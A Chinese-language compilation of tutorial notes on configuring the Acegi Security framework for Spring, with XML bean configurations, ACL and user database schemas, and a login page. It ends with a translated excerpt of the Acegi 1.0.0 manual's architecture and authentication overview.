4. requirePermission指出要进行这个操作必须具备的acl权限，比方说read操作就必须有ADMINISTRATION或READ两个权限。

其实整个过程看下来比较清晰，下面来看一下AclManager如何配置。

    <!-- ========= ACCESS CONTROL LIST LOOKUP MANAGER DEFINITIONS ========= -->

    <bean id="aclManager" class="org.acegisecurity.acl.AclProviderManager">
        <property name="providers">
            <list>
                <ref local="basicAclProvider"/>
            </list>
        </property>
    </bean>

    <bean id="basicAclProvider" class="org.acegisecurity.acl.basic.BasicAclProvider">
        <property name="basicAclDao">
            <ref local="basicAclExtendedDao"/>
        </property>
    </bean>

    <bean id="basicAclExtendedDao" class="org.acegisecurity.acl.basic.jdbc.JdbcExtendedDaoImpl">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
    </bean>

在数据库中取得。既然提到了数据库，那我们就来看一下Acegi默认提供的ACL在数据库里的保存表结构：

CREATE TABLE acl_object_identity (
id IDENTITY NOT NULL,
object_identity VARCHAR_IGNORECASE(250) NOT NULL,
parent_object INTEGER,
acl_class VARCHAR_IGNORECASE(250) NOT NULL,
CONSTRAINT unique_object_identity UNIQUE(object_identity),
FOREIGN KEY (parent_object) REFERENCES acl_object_identity(id)
);
CREATE TABLE acl_permission (
id IDENTITY NOT NULL,
acl_object_identity INTEGER NOT NULL,
recipient VARCHAR_IGNORECASE(100) NOT NULL,
mask INTEGER NOT NULL,
CONSTRAINT unique_recipient UNIQUE(acl_object_identity, recipient),
FOREIGN KEY (acl_object_identity) REFERENCES acl_object_identity(id)
);

1. acl_object_identity表存放了所有受保护的domainObject的信息。其中object_identity字段保存了domainObject的class和id，默认的保存格式是：domainClass:domainObjectId。
2. acl_permission 就是ACL权限列表了，recipient 是用户或角色信息，mask表示了这个用户或角色对这个domainObject的访问权限。注意这些信息的保存格式都是可以根据自己的需要改变的。

这样读取和删除的时候Acegi就能很好的完成拦截工作，但是读取一个List的时候，如何才能把该用户不能操作的domainObject剔除掉呢？这就需要afterInvocationManager来完成这个工作。下面来看下配置：

    <!-- ============== "AFTER INTERCEPTION" AUTHORIZATION DEFINITIONS =========== -->

    <bean id="afterInvocationManager" class="org.acegisecurity.afterinvocation.AfterInvocationProviderManager">
        <property name="providers">
            <list>
                <ref local="afterAclCollectionRead"/>
            </list>
        </property>
    </bean>
    <!-- Processes AFTER_ACL_COLLECTION_READ configuration settings -->
    <bean id="afterAclCollectionRead" class="org.acegisecurity.afterinvocation.BasicAclEntryAfterInvocationCollectionFilteringProvider">
        <property name="aclManager">
            <ref local="aclManager"/>
        </property>
        <property name="requirePermission">
            <list>
                <ref local="org.acegisecurity.acl.basic.SimpleAclEntry.ADMINISTRATION"/>
                <ref local="org.acegisecurity.acl.basic.SimpleAclEntry.READ"/>
            </list>
        </property>
    </bean>

      <bean id="bankManagerSecurity" 
                     class="net.sf.acegisecurity.intercept.method.MethodSecurityInterceptor">
             <property name="validateConfigAttributes">
                    <value>true</value>
            </property>
            <property name="authenticationManager">
                   <ref bean="authenticationManager"/>
            </property>
            <property name="accessDecisionManager">
                  <ref bean="accessDecisionManager"/>
            </property>
            <property name="objectDefinitionSource">
                  <value>
                     net.sf.acegisecurity.context.BankManager.delete*=
                             ROLE_SUPERVISOR,RUN_AS_SERVER
                     net.sf.acegisecurity.context.BankManager.getBalance=
                             ROLE_TELLER,ROLE_SUPERVISOR,BANKSECURITY_CUSTOMER,RUN_
                  </value>
            </property>
      </bean> 

<bean id="authenticationDao" class="net.sf.acegisecurity.providers.dao.jdbc.JdbcDaoImpl">
               <property name="dataSource"><ref bean="dataSource"/></property>
      </bean>
      <bean id="daoAuthenticationProvider" 
                     class="net.sf.acegisecurity.providers.dao.DaoAuthenticationProvider">
               <property name="authenticationDao"><ref bean="authenticationDao"/></property>
      </bean>
      <bean id="authenticationManager" class="net.sf.acegisecurity.providers.ProviderManager">
               <property name="providers">
                      <list><ref bean="daoAuthenticationProvider"/></list>
               </property>
      </bean>
      <bean id="roleVoter" class="net.sf.acegisecurity.vote.RoleVoter"/>
      <bean id="accessDecisionManager" class="net.sf.acegisecurity.vote.AffirmativeBased">
               <property name="allowIfAllAbstainDecisions"><value>false</value></property>
               <property name="decisionVoters">
                      <list><ref bean="roleVoter"/></list>
               </property>
      </bean>

 log4j.rootLogger=debug, stdout, R
  log4j.appender.stdout=org.apache.log4j.ConsoleAppender
  log4j.appender.stdout.layout=org.apache.log4j.PatternLayout

  # Pattern to output the caller's file name and line number.
  log4j.appender.stdout.layout.ConversionPattern=%5p [%t] (%F:%L) - %m%n

  log4j.appender.R=org.apache.log4j.RollingFileAppender
  log4j.appender.R.File=example.log
  log4j.appender.R.MaxFileSize=100KB

  # Keep one backup file
  log4j.appender.R.MaxBackupIndex=1

  log4j.appender.R.layout=org.apache.log4j.PatternLayout
  log4j.appender.R.layout.ConversionPattern=%p %t %c - %m%n

 import com.foo.Bar;
  import org.apache.log4j.Logger;
  import org.apache.log4j.PropertyConfigurator;
  public class MyApp {
    static Logger logger = Logger.getLogger(MyApp.class.getName());
    public static void main(String[] args) {
      // BasicConfigurator replaced with PropertyConfigurator.
      PropertyConfigurator.configure(args[0]);
      logger.info("Entering application.");
      Bar bar = new Bar();
      bar.doIt();
      logger.info("Exiting application.");
    }
  }

<filter>
  <filter-name>Acegi Channel Processing Filter</filter-name>
  <filter-class>net.sf.acegisecurity.util.FilterToBeanProxy</filter-class>
  <init-param>
    <param-name>targetClass</param-name>
    <param-value>net.sf.acegisecurity.securechannel.ChannelProcessingFilter</param-value>
  </init-param>
</filter>
<filter>
  <filter-name>Acegi Authentication Processing Filter</filter-name>
  <filter-class>net.sf.acegisecurity.util.FilterToBeanProxy</filter-class>
  <init-param>
    <param-name>targetClass</param-name>
    <param-value>net.sf.acegisecurity.ui.webapp.AuthenticationProcessingFilter</param-value>
  </init-param>
</filter>
<filter>
  <filter-name>Acegi HTTP BASIC Authorization Filter</filter-name>
  <filter-class>net.sf.acegisecurity.util.FilterToBeanProxy</filter-class>
  <init-param>
    <param-name>targetClass</param-name>
    <param-value>net.sf.acegisecurity.ui.basicauth.BasicProcessingFilter</param-value>
  </init-param>
</filter>
<filter>
  <filter-name>Acegi Security System for Spring Auto Integration Filter</filter-name>
  <filter-class>net.sf.acegisecurity.ui.AutoIntegrationFilter</filter-class>
</filter>
<filter>
  <filter-name>Acegi HTTP Request Security Filter</filter-name>
  <filter-class>net.sf.acegisecurity.util.FilterToBeanProxy</filter-class>
  <init-param>
    <param-name>targetClass</param-name>
    <param-value>net.sf.acegisecurity.intercept.web.SecurityEnforcementFilter</param-value>
  </init-param>
</filter>

<filter-mapping>
  <filter-name>Acegi Channel Processing Filter</filter-name>
  <url-pattern>/*</url-pattern>
</filter-mapping>
<filter-mapping>
  <filter-name>Acegi Authentication Processing Filter</filter-name>
  <url-pattern>/*</url-pattern>
</filter-mapping>
<filter-mapping>
  <filter-name>Acegi HTTP BASIC Authorization Filter</filter-name>
  <url-pattern>/*</url-pattern>
</filter-mapping>
<filter-mapping>
  <filter-name>Acegi Security System for Spring Auto Integration Filter</filter-name>
  <url-pattern>/*</url-pattern>
</filter-mapping>
<filter-mapping>
  <filter-name>Acegi HTTP Request Security Filter</filter-name>
  <url-pattern>/*</url-pattern>
</filter-mapping>

CREATE TABLE users (
    username VARCHAR(50) NOT NULL PRIMARY KEY,
    password VARCHAR(50) NOT NULL,
    enabled BIT NOT NULL
);
CREATE TABLE authorities (
    username VARCHAR(50) NOT NULL,
    authority VARCHAR(50) NOT NULL
);
CREATE UNIQUE INDEX ix_auth_username ON authorities ( username, authority );
ALTER TABLE authorities ADD CONSTRAINT fk_authorities_users foreign key (username) REFERENCES users
(username);

<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
  <property name="driverClassName"><value>${jdbc.driverClassName}</value></property>
  <property name="url"><value>${jdbc.url}</value></property>
  <property name="username"><value>${jdbc.username}</value></property>
  <property name="password"><value>${jdbc.password}</value></property>
</bean>
<bean id="jdbcDaoImpl" class="net.sf.acegisecurity.providers.dao.jdbc.JdbcDaoImpl">
  <property name="dataSource"><ref bean="dataSource"/></property>
</bean>

<bean id="daoAuthenticationProvider" class="net.sf.acegisecurity.providers.dao.DaoAuthenticationProvider">
  <property name="authenticationDao"><ref bean="authenticationDao"/></property>
  <property name="userCache"><ref bean="userCache"/></property>
</bean>

<bean id="userCache" class="net.sf.acegisecurity.providers.dao.cache.EhCacheBasedUserCache">
  <property name="minutesToIdle"><value>5</value></property>
</bean>

<bean id="authenticationManager" class="net.sf.acegisecurity.providers.ProviderManager">
  <property name="providers">
    <list>
      <ref bean="daoAuthenticationProvider"/>
    </list>
   </property>
</bean>

<bean id="accessDecisionManager" class="net.sf.acegisecurity.vote.AffirmativeBased">
  <property name="allowIfAllAbstainDecisions">
    <value>false</value>
  </property>
  <property name="decisionVoters">
    <list><ref bean="roleVoter"/></list>
  </property>
</bean>
<bean id="roleVoter" class="net.sf.acegisecurity.vote.RoleVoter"/>

<bean id="authenticationProcessingFilterEntryPoint" 
class="net.sf.acegisecurity.ui.webapp.AuthenticationProcessingFilterEntryPoint">
  <property name="loginFormUrl"><value>/acegilogin.jsp</value></property>
  <property name="forceHttps"><value>false</value></property>
</bean>

<%@ taglib prefix='c' uri='http://java.sun.com/jstl/core' %>
<%@ page import="net.sf.acegisecurity.ui.AbstractProcessingFilter" %>
<%@ page import="net.sf.acegisecurity.AuthenticationException" %>
<html>
  <head>
    <title>Login</title>
  </head>

  <body>
    <h1>Login</h1>
    <form action="<c:url value='j_acegi_security_check'/>" method="POST">
      <table>
        <tr><td>User:</td><td><input type='text' name='j_username'></td></tr>
        <tr><td>Password:</td><td><input type='password' name='j_password'></td></tr>
        <tr><td colspan='2'><input name="submit" type="submit"></td></tr>
        <tr><td colspan='2'><input name="reset" type="reset"></td></tr>
      </table>
    </form>
  </body>
</html>

<bean id="filterInvocationInterceptor" 
class="net.sf.acegisecurity.intercept.web.FilterSecurityInterceptor">
  <property name="authenticationManager">
    <ref bean="authenticationManager"/>
  </property>
  <property name="accessDecisionManager">
    <ref bean="accessDecisionManager"/>
  </property>
  <property name="objectDefinitionSource">
    <value>
      CONVERT_URL_TO_LOWERCASE_BEFORE_COMPARISON
      \A/sec/administrator.*\Z=ROLE_SUPERVISOR
      \A/sec/user.*\Z=ROLE_TELLER
    </value>
  </property>
</bean>

<bean id="securityEnforcementFilter" class="net.sf.acegisecurity.intercept.web.SecurityEnforcementFilter">
  <property name="filterSecurityInterceptor">
    <ref bean="filterInvocationInterceptor"/>
  </property>
  <property name="authenticationEntryPoint">
    <ref bean="authenticationProcessingFilterEntryPoint"/>
  </property>
</bean>

<bean id="authenticationProcessingFilter" 
class="net.sf.acegisecurity.ui.webapp.AuthenticationProcessingFilter">
  <property name="authenticationManager">
    <ref bean="authenticationManager"/>
  </property>
  <property name="authenticationFailureUrl">
    <value>/loginerror.jsp</value>
  </property>
  <property name="defaultTargetUrl">
    <value>/</value>
  </property>
  <property name="filterProcessesUrl">
    <value>/j_acegi_security_check</value>
  </property>
</bean>

<bean id="channelProcessingFilter" class="net.sf.acegisecurity.securechannel.ChannelProcessingFilter">
  <property name="channelDecisionManager">
    <ref bean="channelDecisionManager"/>
  </property>
  <property name="filterInvocationDefinitionSource">
    <value>
      CONVERT_URL_TO_LOWERCASE_BEFORE_COMPARISON
      \A/sec/administrator.*\Z=REQUIRES_SECURE_CHANNEL
      \A/acegilogin.jsp.*\Z=REQUIRES_SECURE_CHANNEL
      \A/j_acegi_security_check.*\Z=REQUIRES_SECURE_CHANNEL
      \A.*\Z=REQUIRES_INSECURE_CHANNEL
    </value>
  </property>
</bean>

<bean id="channelDecisionManager" class="net.sf.acegisecurity.securechannel.ChannelDecisionManagerImpl">
  <property name="channelProcessors">
    <list>
      <ref bean="secureChannelProcessor"/>
      <ref bean="insecureChannelProcessor"/>
    </list>
  </property>
</bean>
<bean id="secureChannelProcessor" class="net.sf.acegisecurity.securechannel.SecureChannelProcessor"/>
<bean id="insecureChannelProcessor" class="net.sf.acegisecurity.securechannel.InsecureChannelProcessor"/>

<bean name="/shop/newAccount.do" class="org.springframework.samples.jpetstore.web.spring.AccountFormController">
    <property name="petStore"><ref bean="petStore"/></property>
    <property name="validator"><ref bean="accountValidator"/></property>
    <property name="successView"><value>index</value></property>
  </bean>

<bean name="/shop/signon.do" class="org.springframework.samples.jpetstore.web.spring.SignonController">
    <property name="petStore"><ref bean="petStore"/></property>
  </bean>
  <bean name="/shop/signonForm.do" class="org.springframework.web.servlet.mvc.ParameterizableViewController">
    <property name="viewName"><value>SignonForm</value></property>
  </bean>

<bean id="secureHandlerMapping" class="org.springframework.web.servlet.handler.SimpleUrlHandlerMapping">
    <property name="interceptors">
      <list>
        <ref bean="signonInterceptor"/>
      </list>
    </property>
    <property name="urlMap">
      <map>
        <entry key="/shop/editAccount.do"><ref local="secure_editAccount"/></entry>
        <entry key="/shop/listOrders.do"><ref local="secure_listOrders"/></entry>
        <entry key="/shop/newOrder.do"><ref local="secure_newOrder"/></entry>
        <entry key="/shop/viewOrder.do"><ref local="secure_viewOrder"/></entry>
      </map>
    </property>
  </bean>

  原来，上面的signonInterceptor实现了preHandle，因此在请求上面的map页面时，首先要经过这个Interceptor，看看 SignonInterceptor的源码，原来在其中为signon.jsp赋予一个signonForwardAction对象，呵呵，总算明白了。
3). 接下来去学习一下SignonController，其主体部分中可以看出，首先取出用户输入的username和password，然后到数据库中验证 有没有这个用户，如果没有这个用户，返回各错误页面；如果成功，首先生成一个UserSession对象，在request的session加入这个 userSession，注意这部分代码中给出了PagedListHolder分页的简单使用方法，关于分页显示，以后再学习吧。
3、登录成功后，就可以根据不同的用户设施不同的行为了，取得用户信息，无非就是从session取出userSession即可。

链接：http://www.matrix.org.cn/resource/article/1/1730_Acegi.html

序言

    译者：leondu ，作者保留版权，转载请注明出处。

    Acegi Security为基于J2EE的企业应用软件提供全面的安全解决方案。正如你在本手册中看到的那样，我们尝试为您提供有用的，高可配置的安全系统。

    安全是一个永无止境的目标，获取一个全面的，系统级的实现方式是至关重要的。在安全界，我们鼓励你采用"分层安全"，这样每个层都确保自身尽可能的安全，另 外的层提供另外的安全。每个层自身越"紧密"，你的系统就越鲁棒和安全。在底层，你要处理传输入安全和系统认证，减少"中间人攻击"（man-in-the-middle attacks）。接下来你要使用防火墙，结合VPN或者IP安全来确保只有认证过的系统能够尝试连接。在企业环境中，你可能部署DMZ（demilitarized zone，隔离区）来把面向公众的服务器和后端的数据和应用服务器分隔开。在以非授权用户运行进程和文件系统安全最大化上，你的操作系统也将扮演一个关键的角色。接下来你要防止针对系统的拒绝服务和暴力攻击。入侵检测系统在检测和应对攻击方面尤其有用，这些系统可以实时屏蔽恶意TCP/IP地址。在更高层上，你的Java虚拟机需要进行配置，将授予不同Java类型的权限最小化，然后，你的应用程序要对添加针对自身特定问题域的安全配置。Acegi Security使后者－应用程序安全变得容易。

    当然，你要正确对待上述提到的每个安全层，以及包含于每个层的管理因素。这样的管理因素具体包括：安全公告监测，补丁，人工诊断，审计，变更管理，工程管理系统，数据备份，灾难恢复，性能评测，负载监测，集中日志，应急反应程序等等。

    Acegi Security专注于在企业应用安全层为您提供帮助，你将会发现和各式各样的需求和商业问题领域一样多。银行系统的需求和电子商务应用的需求不同。电子商务应用和售卖军用自动工具的公司的需求不同。这些客户化的需求使得应用安全显得有趣，富有挑战性而且物有所值。

    本手册为Acegi Security 1.0.0的发布而大规模重新组织。请先阅读Part I 架构概览。手册的其余部分按照传统的手册方式编排，需要一定的基础才能阅读。

    我们希望您会觉得手册有用，并且欢迎您提供反馈意见和建议。

    最后，欢迎加入Acegi Security社区。

Part I. 架构概览

    象其他的软件一样，Acegi Security也有在整个框架中都会使用的特定核心接口，类，和概念抽象。在手册的这一部分，在检视这些规划和执行Acegi Security集成所必须的核心要素之前，我们先介绍Acegi Security。

第一章. 简介

1.1. Acegi Security是什么?

    Acegi Security为基于J2EE的企业软件应用提供全面的安全服务。特别是使用领先的J2EE解决方案－Srping框架开发的项目。如果您不是使用Spring开发企业应用，我们温馨提醒您仔细研究一下。熟悉Spring，尤其是依赖注射原理，会极大的帮助你快速掌握Acegi Security。

    人们使用Acegi Security有很多种原因，不过通常吸引他们到这个项目的原因是他们在J2EE的 Servlet Specification 或者 EJB Specification中找不到迫切需要的典型企业应用场景。提到这些规范，特别要提出的是他们不是在WAR或者EAR级别可移植的。这样，如果你切换服务器环境，一般来说你要在目标环境中花费很多工夫来重新配置你的应用安全。使用Acegi Security解决了这些问题，并且为你提供了很多其他有用的，完全可定制的安全特性。

    如你所知，安全包含两个主要操作。第一个被称为"认证"，是为用户建立一个它所声明的principal。Principal通常代表用户，设备，或者其他能在你的应用中执行操作的其他系统。"授权"指判定一个principal能否在你的系统中执行某个操作。在到达授权判断之前，principal的的身份认证已经由认证过程执行过了。这些概念是通用的，不是Acegi Security特有的。

    在认证层面，Acegi Security广泛支持各种认证模块。这些认证模块绝大多数是第三方提供，或者相关的标准组织开发的，例如Internet Engineering Task Force。作为补充，Acegi Security自己也提供了一些认证功能。 

    Acegi Security当前支持如下的认证技术。

• HTTP BASIC authentication headers (an IEFT RFC-based standard)

• HTTP Digest authentication headers (an IEFT RFC-based standard)

• HTTP X.509 client certificate exchange (an IEFT RFC-based standard)

• LDAP (a very common approach to cross-platform authentication needs, especially in large environments)

• Form-based authentication (for simple user interface needs)

• Computer Associates Siteminder

• JA-SIG Central Authentication Service (otherwise known as CAS, which is a popular open source single sign on system)

• Transparent authentication context propagation for Remote Method Invocation (RMI) and HttpInvoker (a Spring remoting protocol)

• Automatic "remember-me" authentication (so you can tick a box to avoid re-authentication for a predetermined period of time)

• Anonymous authentication (allowing every call to automatically assume a particular security identity)

• Run-as authentication (which is useful if one call should proceed with a different security identity)

• Java Authentication and Authorization Service (JAAS)

• Container integration with JBoss, Jetty, Resin and Tomcat (so you can still use Container Manager Authentication if desired)

• 你自己的认证系统 (如下所示)

    很多独立软件供应商(ISVs)选择Acegi Security是因为它具有丰富的认证模块。这样无论他们的终端客户需要什么，他们都可以快速集成到他们的系统中，不用花很多工夫或者让终端客户改变环境。如果Acegi Security System for Spring的7个认证模块还没有满足你的需求的话，Acegi Security是一个开放的系统，很容易写你自己的认证机制。许多Acegi Security的企业用户需要和"遗留"系统集成，这些遗留系统不遵循任何安全标准，Acegi Security能够和这样的系统"合作愉快"。

    有时候基本的认证是不够的。有时候你需要根据principal和应用交互的方式来应用不同的安全措施。例如，你可能为了防止密码被窃取，或者防止终端用户受到"中间人"攻击，需要保证到达的是请求通过HTTPS的。或者，你要确保是一个真正的人而不是某种机器人或者自动进程在发送请求。这对于保护密码恢复不受暴力破解攻击，或者防止他人很容易的复制你应用的关键内容。为了帮助你实现这些目标，Acegi Security完全支持自动"通道安全"("channel security")，以及集成Jcaptcha来检测是否是真正人类用户。

    Acegi Security不仅提供了认证功能，而且提供了完备的授权功能。在授权方面主要有三个领域，授权web请求，授权方法调用，授权存取单个领域对象实例。为了帮助你理解这些区别，对照考虑一下Servlet 规范中的web模式安全的授权功能，EJB容器管理安全以及文件系统安全。Acegi Security提供了所有这些重要领域的完备功能，我们将在本手册的后面介绍。

1.2. 历史

    Acegi Security始于2003年晚期，当时在Spring Developers邮件列表中有人提问是否有人考虑提供一个基于Spring的安全实现。当时，Srping的社区是相对比较小的（尤其是和今天相比！），实际上Spring本身也是2003年早期才作为一个SourceForge项目出现的。对此问题的回应是它确实是一个值得研究的领域，虽然限于时间无法进行深入。

    有鉴于此，这个简单的安全实现虽然构建了但是并没有发布。几周以后，Spring社区的其他成员询问了安全框架，代码就被提供给了他们。

随后又有人请求，到了2004年一月，大约有20人左右在使用这些代码。另外一些人加入到这些先行的用户中来，并建议建立一个SourceForge项目，这个项目在2004年3月建立起来。

    在早期，该项目自身并不具备任何认证模块。认证过程依赖容器管理安全（Container Managed Security）而Acegi Security注重授权。在一开始这样是合适的，但是随着越来越多的用户要求额外的容器支持，基于容器的认证的限制就显示出来了。另外一个相关的问题是添加新的JAR文件到容器的classpath，通常会让最终用户感到困惑并且配置错误。

    随后，Acegi Security加入了认证服务。大约一年后，Acegi Security成为了一个Spring Framework官方子项目。在2年半多的在多个软件项目中的活跃使用以及数以百计的改进和社区贡献，1.0.0最终版在2006年5月发布。

   今天，Acegi Security成为一个强大而活跃的社区。在支持论坛上有数以千计的帖子。14个开发人员专职开发，一个活跃的社区也定期共享补丁并支持他们的同侪。

1.3. 发行版本号

    理解Acegi Security的版本号是非常好处的，它可以帮助你判定升级的到新的版本是否需要花费很大精力。我们的正式发行版本使用Apache Portable Runtime Project版本指引，可以在下述网站查看http://apr.apache.org/versioning.html。为了您查看方便，我们引用该页的说明部分如下：

    "版本号由三个部分的整数组成：主版本号（MAJOR）、副版本号（MINOR）、补丁版本号（PATCH）。主要的含义是主版本号（MAJOR）是不兼容的，API大规模升级。副版本号（MINOR）在源文件和可执行版和老版本保持兼容，补丁版本号（PATCH）则意味着向前和向后的完全兼容"。

第二章. 技术概览

2.1. 运行时环境

    Acegi Security可以在JRE1.3中运行。这个发行版本中支持也Java 5.0，尽管对应的Java类型被分开打包到一个后缀是"tiger"的包中。因为Acegi Security致力于以一种自包含的方式运行，因此不需要在JRE中放置任何特殊的配置文件。特别无需配置Java Authentication and Authorization Service (JAAS)策略文件或者将Acegi Security放置到通用的classpath路径中。

    同样的，如果你使用EJB容器或者Servlet容器，同样无需放置任何特别的配置文件或者将Acegi Security包含在服务器的类加载器（classloader）中。

    上述的设计提供了最大的部署灵活性，你可以直接把目标工件（JAR, WAR 或者 EAR)）直接从一个系统copy到另一个系统，它马上就可以运行起来。

2.2. 共享组件

    让我们来看看Acegi Security中最重要的一些共享组件。所谓共享组件是指在框架中处于核心地位，系统脱离了它们之后就不能运行。这些Java类型代表了系统中其他部分的构建单元，因此理解它们是非常重要的，即使你不需要直接和它们打交道。

    最基础的对象是SecurityContextHolder。在这里存储了当前应用的安全上下文（security context），包括正在使用应用程序的principal的详细信息。SecurityContextHolder默认使用ThreadLocal来存储这些详细信息，这意味着即便安全上下文（security context）没有被作为一个参数显式传入，它仍然是可用的。如果在当前principal的请求处理后清理线程,那么用这种方式使用ThreadLocal是非常安全的。当然， Acegi Security自动为你处理这些，所以你无需担心。

    有些应用程序由于使用线程的方式而并不是完全适用ThreadLocal。例如，Swing客户端可能需要一个Java Virtual Machine中的所有线程都使用同样的安全上下文（security context）。在这种情况下你要使用SecurityContextHolder.MODE_GLOBAL模式。另外一些应用程序可能需要安全线程产生的线程拥有同样的安全标识符（security identity）。这可以通过SecurityContextHolder.MODE_INHERITABLETHREADLOCAL来实现。你可以通过两种方法来修改默认的SecurityContextHolder.MODE_THREADLOCAL。第一种是设置一个系统属性。或者，调用SecurityContextHolder的一个静态方法。大部分的应用程序不需要修改默认值，不过如果你需要，那么请查看SecurityContextHolder的JavaDocs获取更多信息。

    我们在SecurityContextHolder中存储当前和应用程序交互的principal的详细信息。Acegi Security使用一个Authentication对象来代表这个信息。尽管你通常不需要自行创建一个Authentication对象，用户还是经常会查询Authentication对象。

你可以在你的应用程序中的任何地方使用下述的代码块：

Object obj =SecurityContextHolder.getContext().getAuthentication().getPrincipal();if (obj instanceof UserDetails) {String username =((UserDetails)obj).getUsername();} else {String username =obj.toString();}

    上述的代码展示了一些有趣的联系和关键的对象。首先，你会注意到在SecurityContextHolder和Authentication之间有一个媒介对象。SecurityContextHolder.getContext() 方法实际上返回一个SecurityContext。Acegi Security使用若干个不同的SecurityContext实现，以备我们需要存储一些和principal无关的特殊信息。一个很好的例子就是我们的Jcaptcha集成，它需要知道一个需求是否是由人发起的。这样的判断和principal是否通过认证完全没有关系，因此我们将它保存在SecurityContext中。

    从上述的代码片段可以看出的另一个问题是你可以从一个Authentication对象中获取一个principal。Principal只是一个对象。通常可以把它cast为一个UserDetails对象。UserDetails在Acegi Security中是一个核心接口，它以一种扩展以及应用相关的方式来展现一个principal。可以把UserDetails看作是你的用户数据库和Acegi Security在SecurityContextHolder所需要的东西之间的一个适配器（adapter）。作为你自己用户数据库的一个展现，你可能经常要把它cast到你应用程序提供的原始对象，这样你就可以调用业务相关的方法(例如 getEmail(), getEmployeeNumber())。

    现在你可能已经开始疑惑，那我什么时候提供UserDetails对象呢？我要如何提供呢？

    我想你告诉过我这个东西是声明式的，我不需要写任何Java代码－那怎么做到呢？对此的简短回答就是有一个叫做UserDetailsService的特殊接口。这个接口只有一个方法，接受一个Sring类型的参数并返回一个UserDetails。Acegi Security提供的大多数认证提供器将部分认证过程委派给UserDetailsService。UserDetailsService用来构建保存在SecurityContextHolder中的Authentication对象。好消息是我们提供若干个UserDetailsService的实现，包括一个使用in-memory map和另一个使用JDBC的。

    大多数用户还是倾向于写自己的实现，这样的实现经常就是简单的构建于已有的Data Access Object (DAO)上，这些DAO展现了他们的雇员、客户、或者其他企业应用程序中的用户。要记得这样做的好处，不论你的UserDetailsService返回什么，它总是可以从SecurityContextHolder中获取，象上面的代码显示的那样。

    除了principal，Authentication提供的另一个重要方法就是getAuthorities（）。这个方法返回一个GrantedAuthority对象数组。GrantedAuthority，毫无疑问，就是授予principal的权限。这些权限通常是"角色"，例如ROLE_ADMINISTRATOR 或者ROLE_HR_SUPERVISOR。这些角色稍后配置到web授权，方法授权和领域对象授权。Acegi Security的其他部分能够处理这些权限，并且期待他们被提供。通常你会从UserDetailsService中返回GrantedAuthority对象。

    通常GrantedAuthority对象都是应用范围的权限。它们都不对应特定的领域对象。因此，你应该不会有一个代表54号员工对象的GrantedAuthority，因为这样会有数以千计的authority，你马上就会用光所有内存（或者，至少会让系统花太长时间来认证一个用户）。当然，Acegi Security会高效的处理这种普遍的需求，但是你不会使用领域对象安全功能来实现这个目的。

    最后，但不是不重要，你有时候需要在HTTP 请求之间存储SecurityContext。另外有些时候你在每次请求的时候都会重新认证principal，不过大部分时候你会存储SecurityContext。HttpSessionContextIntegrationFilter在HTTP之间存储SecurityContext。正如类名字显示的那样，它使用HttpSession来进行存储。基于安全原因，你永远都不要直接和HttpSession交互。没有理由这么做，所以记得使用SecurityContextHolder来代替。

让我们回忆一下，Acegi Security的基本组成构件是：

• SecurityContextHolder,提供对SecurityContext的所有访问方式。

• SecurityContext, 存储Authentication以及可能的请求相关的安全信息。

• HttpSessionContextIntegrationFilter, 在web请求之间把SecurityContext存储在HttpSession中。

• Authentication, 以Acegi Security的方式表现principal。

• GrantedAuthority, 表示赋予一个principal的应用范围的权限。

• UserDetails, 为从你的应用程序DAO中获取必要的信息来构建一个Authentication 对象。

• UserDetailsService,用传入的String类型的username（或者认证ID，或类似）来创建一个UserDetails。

    现在你已经理解了这些重复使用的组件，让我们仔细看看认证过程吧。

2.3. 认证

    正如我们在手册开始部分所说的那样，Acegi Security适用于很多认证环境。虽然我们建议大家使用Acegi Security自身的认证功能而不是和容器管理认证（Container Managed Authentication）集成，但是我们仍然支持这种和你私有的认证系统集成的认证。让我们先从Acegi Security完全自行管理管理web安全的角度来探究一下认证，这也是最复杂和最通用的情形。

    想象一个典型的web应用的认证过程：

1．你访问首页，点击一个链接。

2．一个请求被发送到服务器，服务器判断你是否请求一个被保护的资源。

3．因为你当前未被认证，服务器发回一个回应，表明你必须通过认证。这个回应可能是一个HTTP回应代码，或者重定向到一个特定的网页。

4．基于不同的认证机制，你的浏览器会重定向到一个网页好让你填写表单，或者浏览器会用某种方式获取你的身份认证（例如一个BASIC认证对话框，一个cookie，一个X509证书等等。）。

5．浏览器会发回给服务器一个回应。可能是一个包含了你填写的表单内容的HTTP POST，或者一个包含你认证详细信息的HTTP header。

6．接下来服务器会判断提供的认证信息是否有效。如果它们有效，你进入到下一步。如果它们无效，那么通常请求你的浏览器重试一次（你会回到上两步）。

7．你引发认证的那个请求会被重试。但愿你认证后有足够的权限访问那些被保护的资源。如果你有足够的访问权限，请求就会成功。否则，你将会受到一个意味"禁止"的HTTP403错误代码。

    在Acegi Security中，对应上述的步骤，有对应的类。主要的参与者（按照被使用的顺序）是：ExceptionTranslationFilter， AuthenticationEntryPoint， 认证机制(authentication mechanism)， 以及AuthenticationProvider。

    ExceptionTranslationFilter是Acegi Security用来检测任何抛出的安全异常的过滤器(filter)。这种异常通常是由AbstractSecurityInterceptor抛出的，它是授权服务的主要提供者。我们将会在下一部分讨论AbstractSecurityInterceptor，现在我们只需要知道它产生Java异常，并且对于HTTP或者如何认证一个principal一无所知。反而是ExceptionTranslationFilter提供这样的服务，它负责要么返回403错误代码(如果principal通过了认证，只是缺少足够的权限，象上述第7步那样)，要么加载一个AuthenticationEntryPoint (如果principal还没有被认证，那么我们要从第3步开始)。

    AuthenticationEntryPoint负责上述的第3步。如你所想，每个web应用都有一个默认的认证策略（象Acegi Security中几乎所有的东西一样，它也是可配置的，不过我们现在还是还是从简单开始）。每个主流的认证系统都有它自己的AuthenticationEntryPoint实现，负责执行第3步中描述的动作。

    当浏览器确定要发送你的认证信息（HTTP 表单或者HTTP header），服务器上需要有什么东西来"收集"这些认证信息。现在我们在上述的第6步。在Acegi Security中对从用户代理（通常是浏览器）收集认证信息有一个特定的名字，这个名字是"认证机制（authentication mechanism）"。当认证信息从客户代理收集过来以后，一个"认证请求（Authenticationrequest）"对象被创建，并发送到AuthenticationProvider。

